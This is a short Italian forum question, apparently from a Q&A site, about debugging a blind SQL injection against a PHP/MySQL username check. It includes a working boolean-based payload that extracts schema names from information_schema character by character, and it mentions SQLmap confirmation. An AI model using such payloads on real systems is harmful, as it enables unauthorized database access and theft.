Sto sfruttando un punto di iniezione SQL cieco, che accetta una variabile come nome utente, quindi controlla se il nome utente esiste in una tabella.
(È in esecuzione MySQL 5.X con PHP)
Quindi sto usando questo per recuperare tutti i database:
valid_user_name' and (
SELECT substr(hex(schema_name), 8, 1)
FROM information_schema.schemata
WHERE schema_name not in ('performance_schema','mysql','information_schema')
ORDER BY schema_name limit 0, 1) = '9' #
Il primo nome del database è radius
, quindi l'8 ° carattere di hex('radius')
è '9'.
Con l'input sopra la pagina web mostra l'utente esiste.
Ma quando fornisco il carattere '7'
mostra anche che l'utente esiste.
Tutto il resto non viene mostrato così.
Qualcuno sa perché?
P.S Potresti pensare che il punto di iniezione sia un falso positivo, ma non lo è. L'ho confermato con SQLmap.